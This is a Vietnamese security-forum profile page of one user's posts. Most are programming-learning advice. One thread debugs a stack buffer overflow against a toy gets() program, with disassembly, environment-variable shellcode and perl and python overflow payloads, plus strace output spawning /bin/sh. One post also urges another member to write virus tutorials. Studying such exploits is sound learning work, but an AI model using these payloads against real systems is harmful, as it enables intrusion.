banner

[Rule] Rules  [Home] Main Forum  [Portal] Portal  
[Members] Member Listing  [Statistics] Statistics  [Search] Search  [Reading Room] Reading Room 
[Register] Register  
[Login] Loginhttp  | https  ]
 
Messages posted by: Tal  XML
Profile for Tal Messages posted by Tal [ number of posts not being displayed on this page: 1 ]
 
Học kiến thức cơ bản ở trường đại học trước như thuật toán, ngôn ngữ lập trình kinh điển như C. Sau khi có kiến thức cơ bản mới học tiếp:
Nếu học web thì túm đại lấy 1 thằng kiểu php, mysql
Nếu học làm phần mềm chạy desktop cho windows thì học C++ (hoặc C#), tìm hiểu mấy cái framework của nó.

Mình nghĩ bạn nên chọn 1 cái thôi. Hoặc web, hoặc desktop app để học. Và trong đó bạn cũng phải bó hẹp hơn nữa. Ví dụ Tìm hiểu xem 1 ứng dụng web có những thành phần gì? Mỗi thành phần thì học cái gì...

Cá nhân mình thấy học mấy cái trên lớp mà để giỏi là đủ mệt lắm rồi.
Bài viết đúng là rất hay. Nó chỉ ra các cạm bẫy mà người học mắc phải. Một vài điều không những đúng với người tự học mà còn đúng với những người được đào tạo chính quy.

Tự học đúng là vất vả. Có nhiều thứ tưởng là biết, tưởng là hiểu mà hóa ra không phải. Bỏ bẵng đi 1 thời gian rồi quay lại thấy nó hoàn toàn mới. Lúc đó mới giật mình nhận ra là mình chẳng biết gì cả. Cái này chắc ai đã từng học không đến nơi đến chốn đều đã gặp.

Về việc tự học thì mình có góp ý thế này.

Để tự học tốt thì nên tìm ra cho mình 1 lĩnh vực mà mình cảm thấy hứng thú thực sự với nó. Sau đó thu hẹp lĩnh vực đó lại, chọn lấy 1 cái cốt lõi chính yếu nào đó và nghiên cứu thật sâu vào nó. Khi đã cảm thấy đủ sâu, đủ tinh thông, đó là lúc ta cần 1 người thầy chỉ ra cho ta chỗ hổng mà ta không nhận ra. Sau đó lại lấp chỗ hổng đó lại. Cứ thế đào sâu vào 1 lĩnh vực duy nhất. Khi đủ sâu, đủ vững rồi mới đi rộng ra. Thực tế tớ thấy nếu không đào đủ sâu, thì sau 1 thời gian quay lại với điều mình đã học, chính mình cũng có thể giật mình nhận ra là những thứ mình đã đọc sao mới quá, minh hoàn toàn không nhớ gì, không áp dụng được. Và mình đã phí phạm thời gian trước đây bỏ ra để học rồi.

Trong khâu tự học, thì đọc sách là điều đương nhiên phải làm. Tuy vậy đọc sách cũng có dăm ba kiểu. Có người đọc sách như đọc truyện tranh, đọc tiểu thuyết, đọc hết cả quyển rồi hỏi sách viết gì chẳng nhớ. Có người biết được mình đọc cái gì, nhưng khi đi vào chi tiết thì lại bí. Tất cả đều do đọc không kỹ mà ra. Vì vậy, đọc sách đầu tiên là bám mục lục, ghi nhớ những điểm chính yếu sách muốn nói. Sau đó đi vào từng điểm chính, nghiên cứu thật kỹ từng tình huống. Sau đó là hiểu tình huống và thuộc lòng tình huống (tất nhiên không phải là thuộc vẹt nhé). Khía cạnh "thuộc ở đây là: mục đó trình bày khía cạnh gì? Nó có dẫn chứng thế nào? Dẫn chứng được triển khai thế nào... Đến đây minh nhận ra là đọc 1 quyển sách thôi đã là mất thời gian, công sức lắm rồi. Cũng cần nói thêm là đừng sưu tầm quá nhiều tài liệu là gì? Khổng Tử nó rồi: "Đa thư loạn mục" smilie. Tham khảo mọi người 1, 2 quyển tốt và bắt đầu nghiên cứu nó.

Vài góp ý thiển cận
Thế nào là mảng âm dương, mảng âm dương xen kẽ?
@mrro: Không chạy được anh ạ
Ý tớ không phải như vậy, chỉ là tớ thấy sau khi cài lại win, quét bằng tất cả các AV ... nên tớ "phán" thế thôi smilie
lpFindFileData là 1 cấu trúc. Bạn chỉ có thể dùng được biến thôi. Ở trên bạn mới khai báo cấu trúc.

Hàm FindFirstFile có 2 đối là 2 con trỏ, vì vậy phải nạp địa chỉ của 2 đối lên.
Có phải ý bạn nói là virus là cái svchost.exe không? Nếu đúng bạn thử google xem nó là cái gì xem đã rồi hẵng diệt :p
Cho 1 vòng for chạy từ đầu đến gần cuối, tính khoảng cách giữa số trước với số sau rồi lấy giá trị tuyệt đối. 1 biến ghi nhớ giá trị tuyệt đối max, 1 biến lưu vị trí đạt max.
Bạn học lập trình được bao lâu rồi?
Output của nó đây, và hàm cần thực hiện cũng đã thấy rồi.

execve("./getname", ["./getname"], [/* 38 vars */]) = 0
brk(0) = 0x804a000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe1000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=50236, ...}) = 0
mmap2(NULL, 50236, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd4000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\260e\1"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1364388, ...}) = 0
mmap2(NULL, 1369712, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e85000
mmap2(0xb7fce000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x149) = 0xb7fce000
mmap2(0xb7fd1000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd1000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e84000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e846b0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb7fce000, 4096, PROT_READ) = 0
munmap(0xb7fd4000, 50236) = 0
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe0000
fstat64(0, {st_mode=S_IFIFO|0600, st_size=0, ...}) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fdf000
read(0, "AAAAAAAAAAAAZ\377\377\277", 1024) = 16
read(0, "", 1024) = 0
write(1, "What is your name: Aha, your nam"..., 55What is your name: Aha, your name is: AAAAAAAAAAAAZ���
) = 55
execve("��", ["\234\255\24"], [/* 0 vars */]) = -1 ENOENT (No such file or directory)
execve("/bin/sh", ["/bin/sh"], [/* 0 vars */]) = 0
brk(0) = 0x805e000
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
mmap2(NULL, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7fe1000
access("/etc/ld.so.preload", R_OK) = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY) = 3
fstat64(3, {st_mode=S_IFREG|0644, st_size=50236, ...}) = 0
mmap2(NULL, 50236, PROT_READ, MAP_PRIVATE, 3, 0) = 0xb7fd4000
close(3) = 0
access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory)
open("/lib/tls/i686/cmov/libc.so.6", O_RDONLY) = 3
read(3, "\177ELF\1\1\1\0\0\0\0\0\0\0\0\0\3\0\3\0\1\0\0\0\260e\1"..., 512) = 512
fstat64(3, {st_mode=S_IFREG|0755, st_size=1364388, ...}) = 0
mmap2(NULL, 1369712, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0xb7e85000
mmap2(0xb7fce000, 12288, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x149) = 0xb7fce000
mmap2(0xb7fd1000, 9840, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0xb7fd1000
close(3) = 0
mmap2(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0xb7e84000
set_thread_area({entry_number:-1 -> 6, base_addr:0xb7e846b0, limit:1048575, seg_32bit:1, contents:0, read_exec_only:0, limit_in_pages:1, seg_not_present:0, useable:1}) = 0
mprotect(0xb7fce000, 4096, PROT_READ) = 0
munmap(0xb7fd4000, 50236) = 0
getpid() = 6412
rt_sigaction(SIGCHLD, {SIG_DFL}, {SIG_DFL}, 8) = 0
geteuid32() = 1000
getppid() = 6411
brk(0) = 0x805e000
brk(0x807f000) = 0x807f000
getcwd("/home/haprog/Documents/Research", 4096) = 32
ioctl(0, SNDCTL_TMR_TIMEBASE or TCGETS, 0xbffffd18) = -1 EINVAL (Invalid argument)
rt_sigaction(SIGINT, NULL, {SIG_DFL}, 8) = 0
rt_sigaction(SIGINT, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGQUIT, NULL, {SIG_DFL}, 8) = 0
rt_sigaction(SIGQUIT, {SIG_DFL}, NULL, 8) = 0
rt_sigaction(SIGTERM, NULL, {SIG_DFL}, 8) = 0
rt_sigaction(SIGTERM, {SIG_DFL}, NULL, 8) = 0
read(0, "", 8192) = 0
exit_group(0) = ?
Process 6412 detached
 

Cognac wrote:
@Tal: Bạn có thể giải thích tại sao khi compile, bạn cho thằng -mpreferred-stack-boundary=2 được ko? smilie
Cái này có lẽ liên quan đến memory allocate của gcc, dung lượng stack frame đc gcc cấp sẽ thay đổi phụ thuộc vào thuộc tính này ?? smilie
Trong trường hợp này là
Code:
0x080483a7 <main+3>: sub $0x10,%esp

 


Đúng. độ lớn của stack frame phụ thuộc vào thông số này. Gcc 4.2.x mặc định sẽ gán kích thước của buffer và biến cục bộ và thêm padding sao cho địa chỉ stack (địa chỉ thanh ghi ESP) luôn là bội số của 16 (1 paragraph). Vì thế mà nếu không gán stack-boundary=2 (ESP là bội số của 4 bytes) thì gcc phải tự tính toán để điều chỉnh lại giá trị của buffer sao cho phù hợp. Lấy ví dụ chương trình của tớ nếu để stack boundary mặc định thì sẽ có mã asm tương tự chương trình anh mrro ở trên. Trong mã ASM ở trên cậu cũng có thể thấy các đoạn mã nhằm hiệu chỉnh stack sao cho nó là bội của 16

Ví dụ ở các chỗ tớ bôi màu vàng
(gdb) disas main
Dump of assembler code for function main:
0x080483a4 <main+0>: lea 0x4(%esp),%ecx
0x080483a8 <main+4>: and $0xfffffff0,%esp
0x080483ab <main+7>: pushl -0x4(%ecx)
0x080483ae <main+10>: push %ebp
0x080483af <main+11>: mov %esp,%ebp
0x080483b1 <main+13>: push %ecx
0x080483b2 <main+14>: sub $0x24,%esp
0x080483b5 <main+17>: movl $0x80484b0,(%esp)
0x080483bc <main+24>: call 0x804830c <printf@plt>
0x080483c1 <main+29>: lea -0xc(%ebp),%eax
0x080483c4 <main+32>: mov %eax,(%esp)
0x080483c7 <main+35>: call 0x80482ec <gets@plt>
0x080483cc <main+40>: lea -0xc(%ebp),%eax
0x080483cf <main+43>: mov %eax,0x4(%esp)
0x080483d3 <main+47>: movl $0x80484c4,(%esp)
0x080483da <main+54>: call 0x804830c <printf@plt>
0x080483df <main+59>: mov $0x0,%eax
0x080483e4 <main+64>: add $0x24,%esp
0x080483e7 <main+67>: pop %ecx
0x080483e8 <main+68>: pop %ebp
0x080483e9 <main+69>: lea -0x4(%ecx),%esp
0x080483ec <main+72>: ret
End of assembler dump.
 


Vì con trỏ, độ lớn biến nguyên ... đều chiếm 4 bytes nên nếu để stack-boundary=2 (bội 4) thì việc tính toán, hiệu chỉnh sẽ trở nên đơn giản hơn. Vì thế code assembly sạch đẹp hơn, dễ nhìn, dễ exploit hơn smilie.

@mrro: em nghĩ tăng độ dài buffer thêm 4 bytes là vượt qua được chương trình trên để ghi đè RIP đúng không nhỉ? smilie

Vấn đề là tớ đã chỉnh lại độ dài buffer, điều chỉnh lại địa chỉ nhảy về... nhưng chương trình vẫn không thể nhảy đến đoạn shellcode được. Không hiểu thế nào. Mọi người xem
Code:
Tal@vxer:~/Documents/Research$ export CODE=`cat shellcode`
Tal@vxer:~/Documents/Research$ ./getenv CODE
CODE is located at 0xbfffff5a
Tal@vxer:~/Documents/Research$ ./getname
What is your name: hello
Aha, your name is: hello
Tal@vxer:~/Documents/Research$ perl -e "A"x12 . "\x5a\xff\xff\xbf" | ./getname
What is your name: Aha, your name is: ����������P���
Tal@vxer:~/Documents/Research$

Tớ xin lỗi chứ tớ thấy cậu congmin923 từ nhiều post rồi đều thể hiện rằng bạn hiểu biết về virus nhưng tớ chưa thấy bạn đưa ra ví dụ cụ thể nào cả. Vì vậy nếu có thể bạn viết vài tuts hướng dẫn virus cho mọi người đi.

Về việc ban nick hay không thì tớ nghĩ không sợ đâu. Người không biết thì sẽ không dám tải virus về. Người dám tải chắc chắn sẽ có cách xử lý. Không sợ đâu. Nhân tiện trong hva cũng có bài hướng dẫn cách viết virus rất hay của anh sphinx từ lâu rồi đấy. Anh ấy viết mà có bị ban nick đâu, nên cứ yên tâm đi
À hiểu rồi. Cognag đúng rồi!

Hì hì, em compile bằng gcc 4.2.3 thật mà. Option compile là thế này:

-fno-stack-protector
-mpreferred-stack-boundary=2

Cognac wrote:
#include <string.h>
#include <stdio.h>

int main(int argc, char **argv)
{
char name[8];
printf("What is your name: ");
gets(name);
printf("Aha, your name is: %s\n",name);
return 0;
}
@Ta 
l: Đề nghị bạn đọc kỹ lại đoạn code của bạn xem độ dài buffer là bao nhiêu trước khi tiếp tục smilie  


Chắc bạn chưa xem cái đoạn disassembly của hàm main smilie

(gdb) disas main
Dump of assembler code for function main:
0x080483a4 <main+0>: push %ebp
0x080483a5 <main+1>: mov %esp,%ebp
0x080483a7 <main+3>: sub $0x10,%esp
0x080483aa <main+6>: movl $0x80484a0,(%esp)
0x080483b1 <main+13>: call 0x804830c <printf@plt>
0x080483b6 <main+18>: lea -0x8(%ebp),%eax
0x080483b9 <main+21>: mov %eax,(%esp)
0x080483bc <main+24>: call 0x80482ec <gets@plt>
0x080483c1 <main+29>: lea -0x8(%ebp),%eax
0x080483c4 <main+32>: mov %eax,0x4(%esp)
0x080483c8 <main+36>: movl $0x80484b4,(%esp)
0x080483cf <main+43>: call 0x804830c <printf@plt>
0x080483d4 <main+48>: mov $0x0,%eax
0x080483d9 <main+53>: leave
0x080483da <main+54>: ret
End of assembler dump. 
Hì hì, thực ra thì đúng là tớ đã xác định sai mục tiêu khi mở cái post này. Buffer của hàm main của getname nên khi hàm main return, chương trình mới nhảy đến đoạn Shell code. Cho nên câu hỏi tại sao nó printf đã ok. Có điều là tớ chạy thử mãi mà nó vẫn không nhảy đến được đoạn shell và không hiểu tại sao nên muốn hỏi xem ở đây còn gì khúc mắc không.

@mybb: gcc 4.2.5 không đè chỗ này chỗ kia là thế nào thế? Chỉ cho tớ với smilie

Cognac wrote:
Nhìn đoạn disassembly của bạn, mình đề nghị bạn chạy thử cái này xem:
python -c 'print "A"*12 + "\xAA\xBB\xXCC\xDD"' |./vul

Lưuý: \xAA\xBB\xCC\xDD là địa chỉ biến môi trường CODE chứa shellcode của bạn
 

Bạn có nhầm không vì độ dài của buffer là 16 bytes + 8 bytes nữa của con trỏ và địa chỉ trả về mới ghi đè được địa chỉ trả về chứ? Lệnh khai thác của bạn mới chỉ đẩy vào buffer 16 bytes = độ dài buffer smilie
Ở đoạn code khai thác mình mới để 20 bytes nên địa chỉ trả về là sai -> không khai thác được. Nhưng khi mình đẩy vào buffer nhiều thứ hơn, nó vẫn chưa nhảy về đúng đoạn shell. Đấy là chỗ mình chưa nắm rõ
Hơn nữa là đúng như anh mrro nói, mình đã xác định sai mục tiêu.

mybb wrote:
Ý mình là làm sao bạn biết địa chỉ biến môi trường khi bạn chạy cái chương trình lấy ở trên và khi chạy cái getname.out của bạn là trùng nhau? Nếu nó khác thì sao?
 

Biến môi trường được nạp tại địa chỉ gần nhau nếu tên chương trình chạy có độ dài gần nhau. Ở đây tớ thấy độ dài của 1 chương trình là getname, 1 cái là getenv hơn kém nhau 1 ký tự -> địa chỉ sẽ nạp chênh lệch nhau là 2 bytes. Vậy cơ bản là địa chỉ không chênh lệch lắm khi có đoạn NOP bảo kê.

@anh lamer:
Hì hì anh chỉ cho em cách exploit thằng này với smilie

Mình dùng 1 chương trình như sau:

Code:
#include <stdlib.h>
#include <stdio.h>
int main(int argc, char **argv) {
char *addr;
if (argc < 2) {
printf("Usage: %s <env var name>\n", argv[0]);
} else {
addr = getenv(argv[1]);
if (addr == NULL) {
printf("The environment variable %s does not exist\\n", argv[1]);
} else {
printf("%s is located at %p\n", argv[1], addr);
}
}
return 0;
}
tìm số lớn nhất và số nhỏ nhất trong mảng đó smilie
Hì hì, học hàng tá ngôn ngữ cuối cùng chẳng biết viết cái gì thì cũng thế thôi. Học cái gì trước cái gì sau trong lập trình thì khó trả lời lắm. Thằng biết C++ nó bảo C++ hay, "dễ" nên học C++ trước. Thằng biết về Java thì khen Java trong sáng, đơn giản hơn C++ nên nó khuyên Java. Thằng lập trình hệ thống thì khuyên đi theo asm, C vì có thế mới hiểu máy tính làm cái gì. Mỗi thằng 1 phách. Trong tình trạng này càng hỏi câu học ngôn ngữ gì trước nhiều và càng hỏi nhiều người thì sẽ càng bị tẩu hỏa nhập ma thôi smilie).

Tôi thấy giá trị 1 chương trình không năm trong ngôn ngữ mà nằm trong cái đầu (Cái này đọc trong Craftman). Cho nên tôi thấy, học lập trình là học những cái cơ bản mà ở trường người ta vẫn dạy (chỉ có điều người ta có thấy cái quan trọng của nó không thôi). Cho nên câu hỏi học cái là khó trả lời quá smilie

Túm lại: túm bừa 1 ngôn ngữ nào đó, làm thật nhiều project, đọc thật nhiều code của ngôn ngữ đó.... Thế là thành lập trình viên giỏi, là hắc cơ hết smilie

Cognac wrote:
@Tal: bạn phải gdb debug xem chuyện gì xảy ra chứ ? Chứ nói vậy ai mà mò dùm bạn?
Trước hết bạn cho vài thông tin:
1.gcc --version
2.gdb ./target
disassemble main
... vv 


Thử gdb rồi nhưng không được, cần sự hướng dẫn cách gdb mà smilie

Thông tin thì có ngay smilie

Code:
gcc --version
gcc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu7)
Copyright (C) 2007 Free Software Foundation, Inc.
This is free software; see the source for copying conditions. There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.


Mã assembly của hàm main chương trình getname:
Code:
(gdb) disas main
Dump of assembler code for function main:
0x080483a4 <main+0>: push %ebp
0x080483a5 <main+1>: mov %esp,%ebp
0x080483a7 <main+3>: sub $0x10,%esp
0x080483aa <main+6>: movl $0x80484a0,(%esp)
0x080483b1 <main+13>: call 0x804830c <printf@plt>
0x080483b6 <main+18>: lea -0x8(%ebp),%eax
0x080483b9 <main+21>: mov %eax,(%esp)
0x080483bc <main+24>: call 0x80482ec <gets@plt>
0x080483c1 <main+29>: lea -0x8(%ebp),%eax
0x080483c4 <main+32>: mov %eax,0x4(%esp)
0x080483c8 <main+36>: movl $0x80484b4,(%esp)
0x080483cf <main+43>: call 0x804830c <printf@plt>
0x080483d4 <main+48>: mov $0x0,%eax
0x080483d9 <main+53>: leave
0x080483da <main+54>: ret
End of assembler dump.



Pascal phù hợp với những người mới bắt đầu. Học cách lập trình, tư duy thuật toán. Sau 1 thời gian thấy hiểu hiểu cách lập trình thì học cao lên chút như: C.
Vấn đề không phải là học ngôn ngữ gì vì ngôn ngữ thì sau khi bạn hoc thành thạo 1 cái thì học các cái còn lại sẽ nhanh hơn rất nhiều. Vấn đề là dùng ngôn ngữ đó để làm gì, viết chương trình gì. Cái này thì ở trong đầu ta rồi. Vì thế phải học các kiến thức cơ bản nữa. Cứ học hết mấy cái cơ bản và thành thạo nó là tự nhiêu biết hack rồi smilie

Còn thực ra tôi thấy đừng nên hỏi nên học ngôn ngữ gì vì mọi người sẽ bảo là nên học tất smilie. Có bài viết rất hay của Norvig này, bạn đọc tham khảo:
http://www.norvig.com/21-days.html
Em có 1 chương trình như thế này:

(Chương trình getname.c dịch ra getname.out)

Code:
#include <string.h>
#include <stdio.h>
int main(int argc, char **argv)
{
char name[8];
printf("What is your name: ");
gets(name);
printf("Aha, your name is: %s\n",name);
return 0;
}


Ở đây chương trình gặp lỗi buffer overflow ở hàm gets. Em đưa đoạn shellcode vào biến môi trường code như sau

Code:
export CODE=`perl -e 'print "\x90"x20';cat shellcode`


trong đó file shellcode chứa shellcode để đổ ra 1 shell.

Dùng 1 chương trình lấy địa chỉ biến môi trường CODE ví dụ là: 0xbffffeb3. Sau đó em thử nhồi địa chỉ shellcode vào buffer của chương trình trên như sau:

Code:
perl -e 'print "\xb3\xfe\xff\xbf"x20' | ./getname.out


Tuy vậy chương trình không thể nào nhảy được về đoạn shellcode trong biến CODE ở trên mà luôn luôn nhảy đến lệnh printf tiếp theo và chương trình vẫn printf đoạn địa chỉ em nhồi vào. Ai có thể chỉ cho em tại sao được không? smilie

(Em đã disable cơ chế bảo vệ stack (-fno-stack-protector), stack alignment 4 bytes, và không cho hệ điều hành load địa chỉ random).
Miễn là câu hỏi chứa đựng sự cân nhắc suy nghĩ của người hỏi, còn đâu câu nào cũng có người trả lời và học hỏi à.

Miễn là post đúng mục, thì sẽ có người trả lời, không sự tràn đâu à, ^^

sunrise_vn wrote:

Cho mình hỏi thêm tại sao ko dịch được ngôn ngữ cấp cao mà lại dịch ngược được ngôn ngữ cấp thấp.
 

Tại vì khi dịch ra ngôn ngữ cấp cao sẽ gặp phải sự thiếu chính xác --> Ảnh hưởng đến mục đích của việc dịch ngược.

Ví dụ:
mov ecx,3
shr eax,ecx

cái này khó mà dịch cho đúng nhé vì compiler có thể dịch thành:
a = a * 8
hoặc cũng chỉ đơn giản là:a<<8. Tất nhiên ảnh hưởng ở đây là không rõ ràng nhưng tôi muốn minh họa là 2 câu lệnh trên khác nhau rồi.

sunrise_vn wrote:

Mình đã dùng thử Visual Basic Decompiler rất tốt. Như vậy thuật toán Compile của Microsoft khác với của Bolarnd hả bạn? Tool để Decompile Visual C++ và cả Borland C++ cũng có luôn đóa. 


Khác chứ. Các trình biên dịch chỉ tuân thủ chuẩn ngôn ngữ thôi, còn đâu mã các trình biên dịch khác nhau sinh ra về cơ bản là khác nhau (Thậm chí còn tùy vào nó compile cho môi trường nào nữa ấy chứ). Ngay cả trong 1 ngôn ngữ, việc thay đổi các option cũng sinh ra mã assembly khác nhau rồi.

Tôi chưa dùng thử mấy tool đó nên không biết nó chính xác đến đâu. Bạn có thể giới thiệu vài công cụ tốt tốt được không? smilie

PhanPhungTien wrote:
Chào cả nhà, HVA - cái tên này mình nghe lâu rùi nhưng giờ mới được tham gia là một thành viên chính thức của 4rum( vì bận hoàn thành 12 năm học ). Mình rất ham mê IT nhất là lĩnh vực mạng và lập trình. Nhưng giờ mới có cơ hội tiếp xúc. Nhưng khi tham gia HVAONLINE thì thấy mấy bác pro viết bài mình chả hiểu gì cả. Nay mình rất mong sẽ có 1 bác nào pro và có lòng làm sư phụ, chỉ dẫn cho mình một vài bước đầu tiên để trở thành 1 hacker ( đừng nói là đọc bài become a hacker nha). Cụ thể 1 sư phụ rất đơn giản là giải thích cho mình 1 vài thuật ngữ bắt gặp trên đường đi học hack, với lại chỉ cho mình 1 vài vấn đề mấu chốt của công việc hacking. Mong là sẽ nhận được câu trả lời từ Pro. Thank! 


Cũng trong diễn đàn này, vào mục Các bài viết giá trị trong mục thảo luận và thâm nhập -> Những cuộc đối thoại với rookie (13 phần).

Đọc xong cái đó là biết phải làm gì tiếp à smilie

little_fire wrote:
Truoc het xin loi cac bac vi SCIM ko chay va dien dan de kieu Tu dong ma ko go duoc tieng Viet.
Em cai Ubuntu 8.04 x64 xong, cai cac goi m17n-db,scim-m17n. Nhung khi an Ctrl+Space thi SCIM khong hien len gi het. Cac bac giup em voi! 


Bạn chọn 1 công cụ editor nào đó, cho con trỏ chuột vào đó, rồi ấn ctrl+space xem có chạy không?
Ngắt trong C là gì?? Mình chỉ biết ngắt của hệ thống thôi. Bạn phải cho biết bạn dùng hệ thống gì chứ?
Công cụ để biên dịch ra hệ điều hành hay bất cứ các chương trình nào khác gọi là Compiler.

Hệ điều hành hay cái gì gì đi nữa thì cũng là các chỉ thị nhị phân chạy trong bộ nhớ máy tính. Hệ điều hành khác các chương trình khác ở chỗ nó cung cấp môi trường cho các chương trình ứng dụng chạy (web browser, editor...). Còn các chương trình ứng dụng thì dựa vào hệ điều hành để phát triển lên.

SDK chỉ là chương trình ứng dụng. Nó cung cấp chức năng soạn thảo, trình biên dịch mã nguồn, công cụ gỡ lỗi v.v. Nói tóm lại là 1 công cụ tích hợp nhiều tính năng để giảm bớt thao tác cho lập trình viên. Không dùng SDK (chỉ cần compiler, editor) là bạn có thể viết chương trình được rồi.

GNU C, GNU Make là các công cụ giúp biên dịch mã nguồn. Mỗi thứ làm công việc khác nhau. Ví dụ: gcc thì dịch chương trình viết bằng C ra chỉ thị máy trên nền linux. Mỗi lần dịch ta có thể gõ gcc -o fileketqua filenguon.c. Nhưng nếu có hàng ngàn file thì phải gõ hàng ngàn lần mệt quá -> người ta nghĩ ra make. Viết lệnh dịch 1 lần thôi vào 1 file rồi chương trình căn cứ theo lệnh đã viết tự động dịch cho ta....
@sunrise_vn

Giời ạ, Nếu dùng soft bạn decompile nó về C/C++, Java làm sao được?
Tất cả là mã nhị phân, nhưng cùng mã nhị phân, cùng chỉ thị nhưng có nhiều câu lệnh ở ngôn ngữ cấp cao thì làm sao decode ra ngôn ngữ cấp cao được?

Bạn phải tìm hiểu crack là thế nào đã chứ? Người ta làm thế nào để crack? Và mục đích hỏi của bạn cụ thể là gì nữa?
www.procul.org/blog <-- địa chỉ đó bạn

Tôi tưởng bên đại học Hà Nội có thầy trưởng khoa chuyên về spam mail. Tôi nghe nhận xét bảo khá giỏi mà?. Về môn mạng tôi thấy có người cũng khá mà.
 
Go to Page:  Page 2 Last Page

Powered by JForum - Extended by HVAOnline
 hvaonline.net  |  hvaforum.net  |  hvazone.net  |  hvanews.net  |  vnhacker.org
1999 - 2013 © v2012|0504|218|